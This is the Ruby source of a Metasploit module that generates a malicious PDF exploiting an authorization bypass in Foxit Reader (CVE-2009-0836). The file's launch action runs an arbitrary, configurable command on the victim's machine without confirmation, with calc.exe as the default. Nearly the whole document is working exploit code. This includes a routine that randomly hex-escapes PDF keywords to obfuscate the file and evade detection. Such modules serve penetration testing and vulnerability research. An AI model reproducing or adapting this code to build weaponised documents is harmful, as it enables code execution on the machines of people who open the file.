Foxit Reader Authorization Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Foxit Reader Authorization Bypass',
      'Description'    => %q{
          This module exploits an authorization bypass vulnerability in Foxit Reader
        build 1120. When an attacker creates a specially crafted pdf file containing
        an Open/Execute action, arbitrary commands can be executed without confirmation
        from the victim.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
      'References'     =>
        [
          [ 'CVE', '2009-0836' ],
          [ 'OSVDB', '55615'],
          [ 'BID', '34035' ],
        ],
      'DisclosureDate' => '2009-03-09'))

    register_options(
      [
        OptString.new('CMD',        [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.pdf'])
      ])

  end

  def run
    exec = datastore['CMD']

    # Create the pdf
    pdf = make_pdf(exec)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end

  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack('C*')[0]
      else
        result << c
      end
    end
    result
  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  def make_pdf(exec)

    xref = []
    eol = "\x0d\x0a"
    endobj = "endobj" << eol

    # Randomize PDF version?
    pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
    pdf << "%" << random_non_ascii_string(4) << eol
    xref << pdf.length
    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
    xref << pdf.length
    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
    xref << pdf.length
    pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj
    xref << pdf.length
    pdf << endobj
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end
    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol

  end
end